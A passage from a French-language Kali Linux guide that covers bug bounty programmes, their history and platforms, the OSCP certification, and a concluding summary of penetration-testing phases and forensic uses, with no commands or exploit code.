et ceux trouvant des failles de sécurité pour un périmètre bien déterminé. Ce périmètre
peut donc être l’un des domaines couverts par Kali Linux :

▪ Site web
▪ Application
▪ API
▪ Reseau WiFi
▪ …
Il revient donc à l’entreprise de déterminer le ou les services que les chasseurs de failles
(ou fault hunter) vont devoir explorer à la recherche de défauts de fonctionnement
pouvant mettre à mal la sécurité de ladite entreprise. Toutefois, il y a un certain nombre
de règles à respecter et chaque "bug bounty" doit les énoncer clairement afin que les
hackers ou les experts recrutés soient au courant des limites à ne pas franchir, exactement
comme cela se déroule d’ailleurs, au sein d’un service de production. Concernant le
montant de la récompense, c’est assez variable d’une entreprise à l’autre et cela dépend
surtout du type de faille découverte. En effet, plus le défaut est critique, complexe (et
surtout bien documenté à l’aide d’un POC – aussi appelé Proof Of Concept), plus la
récompense peut être élevée. Elle le sera d’autant si le hacker propose des
recommandations de contournement ou de patch.
REMARQUE : bien évidemment, si l’expert découvre un défaut déjà répertorié par
d’autres, il ne percevra aucune récompense.
Le premier bug bounty à voir le jour a été celui de la firme Netscape qui a décidé de
récompenser en 1995 les utilisateurs capables d’identifier et de sortir des bugs de sécurité
présents dans le logiciel Netscape Navigator 2.0.

En 2004, c’est Mozilla (aidé par Mark SHUTTLEWORTH le père de Canonical) qui proposait
une récompense de 500$ pour toute faille découverte dans Firefox. En 2010, c’est au tour
de Google d’offrir une récompense pour la découverte de failles sur l’ensemble de sa
gamme d’outils. Depuis 2011, le bug bounty est une pratique qui s’est notablement
développée : Facebook, en partenariat avec Microsoft a lancé le programme "The Internet
Bug Bounty". En fait, aujourd’hui, la majorité des entreprises du High-Tech proposent leur
propre programme de bug bounty.
Maintenant, pour ceux qui sont vraiment accro à la sécurité qui ne vivent ou respirent
que pour ça, en marge du site YesWeHack, qui propose des jobs dans la sécurité, il existe
un agrégateur de bug bounty, appelé FireBounty. Sur ce dernier on peut alors entrer des
mots clés en fonction de ce que l’on recherche et filtrer les résultats par type de
récompenses : cela peut aller d’une somme d’argent, à des remerciements en passant par
des cadeaux de toutes sortes.
Alors, me direz-vous nous nous éloignons de Kali Linux. Et bien pas tant que ça, car en
fait après vous être entraînés sur différents challenges, rien ne vous empêche de vous
colleter avec de véritables cas concrets concernant l’analyse et la détection de failles
d’entreprises réelles et pourquoi pas être récompensés de vos efforts en adoptant un
profil de "fault hunter" afin de toucher des "bug bounty". Dans ce cas, vous pourriez
commencer par consulter le site Bugcrowd référençant les bug bounty et les
dysfonctionnements de programme de sécurité au travers du web. Il existe également le
site HackerOne proposant le même genre de références.

III. Certification Kali Linux


Enfin, pour véritablement reconnu en tant qu’expert, rien ne vous empêche de vous faire
certifier Kali Linux. L’OSCP (Offensive Security Certification Pentesting) est une
certification en sécurité offensive (également nommée pentesting), délivrée par
l’organisme Offensive Security, acteur majeur de la scène de la sécurité informatique
puisque œuvrant pour des projets phares comme :
▪ La distribution Kali elle-meme
▪ The Exploit database
▪ The Google hacking database
Cet organisme permet de valider ses propres compétences concernant les tests de
pénétration avec Kali. Il s’agit d’une communauté de passionnés. Pour s’entraîner à la
certification, on peut consulter le manuel OSCP, un guide de 375 pages, de vidéos et d’un
lab pour s’exercer. A l’issue de ce dernier on peut alors planifier son examen dès que l’on
se sent prêt. Le lab est lui-même composé de quatre réseaux :

▪ Un reseau etudiant (student network)


▪ Le premier, route sur un reseau dev et un reseau IT
▪ En dernier on trouve un reseau d’administration
L’objectif consiste à énumérer les machines selon leurs services, le nom de domaine, les
contrôleurs traversés, les applications web… On cherche bien sûr à obtenir un premier
accès utilisateur pour ensuite effectuer une élévation de privilèges et devenir root, sans
pour autant négliger l’aspect post-exploitation. L’examen se déroule sur 24 heures où
l’on cherche à compromettre un maximum de machines. On dispose ensuite de 24 heures
supplémentaires pour rédiger le rapport de compromission avec un maximum d’éléments
récoltés durant l’examen. On peut facilement trouver bon nombre de sites proposant des
trainings pour la préparation de l’examen OSCP.

Conclusion sur Kali Linux


Maintenant que nous nous sommes familiarisés avec Kali Linux, il est temps de
prendre un peu de recul et de voir ce que nous avons mis en place.
La suite Kali Linux, s’utilise de différentes manières ce qui s’accompagne également par
des méthodes d’installations distinctes. Lorsque l’on souhaite utiliser Kali Linux, il est
primordial de savoir ce que l’on souhaite en faire :
▪ Utilisation dans le cadre de tests de vulnérabilités
▪ Utilisation pour faire de l’analyse forensic
Dans le cadre de l’utilisation pour réaliser des tests de vulnérabilités, on a vu quelles
phases devaient être parcourues :

▪ Collecte d’informations sur la ou les futures victimes des tests


▪ Évaluation des vulnérabilités via des outils comme Nessus ou OpenVAS
▪ Exploitation des vulnérabilités grâce la suite Metasploit
▪ Maintien des failles grâce à des attaques de mot de passe, d’escalades de privilèges
▪ Stratégies d’attaque des réseaux sans-fil
Pour tout ce qui touche aux analyses légales, survenant le plus souvent après un crash ou
une corruption de données, il convient d’utiliser les différents outils proposés dans la
rubrique Criminalistique :

Nous avons vu que si par défaut, les outils n’étaient pas en place lors de l’initialisation de
la plateforme, on pouvait en ajouter facilement. C’est notamment ce que nous avons fait
pour les logiciels ci-dessous :

▪ Nessus
▪ Gerix
REMARQUE : comme la distribution Kali Linux est basée sur le principe de la distribution
kali-rolling, les outils peuvent avoir changé entre le moment de l’écriture de ces lignes et
l’instant où vous mettrez ses principes en action. Toutefois, la mise à niveau de la
plateforme reste quelque chose de tout à fait abordable grâce aux mises à jour facilitées
par le gestionnaire de package aptitude.
En somme, avec tout ce que nous avons vu nous disposons des moyens utiles et
nécessaires (pour ne pas dire, même d’un véritable laboratoire d’analyse en sécurité),
pour faire:
▪ de l’analyse de vulnérabilités et leur exploitation
▪ de l’analyse légale forensic
▪ du simple reporting
Libre à vous désormais d’expérimenter les outils existants et d’en mettre de
nouveaux en pratique, grâce à la bibliothèque enrichie régulièrement des nouveaux
logiciels de sécurité, au travers du mode kali-rolling de mise à jour. De plus, on peut aller
encore plus loin dans l’analyse de vulnérabilités, car il ne vous aura pas échappé qu’il
existe également une rubrique spécifique pour les analyses suivantes :
▪ les applications Web
▪ les applications base de données
▪ le reporting
▪ l’ingénierie inverse
Kali Linux est une plateforme riche en outils. Pour preuve, on peut se connecter à
l’adresse web suivante Tools Listing, afin de visualiser l’ensemble des outils disponibles,
triés par catégories :

Comme pour toute bonne distribution, en cas de détection d’un bug au cours de votre
exploration soyez libre de le remonter en pratiquant comme pour ce qui se fait sur les
plateformes Debian, en utilisant bugtraq. La suite Kali Linux dispose même d’un outil
spécialisé de remontée de problèmes appelé bug tracker. Mentionnons tout de même
que ce logiciel n’est pas à destination du support.
Enfin, si vous souhaitez vous spécialiser dans ce genre d’activité de sécurité, sachez
également qu’il existe un centre de certification Kali Linux qui vous permettra de
vous spécialiser et de devenir ainsi un véritable expert.

Vous aimerez peut-être aussi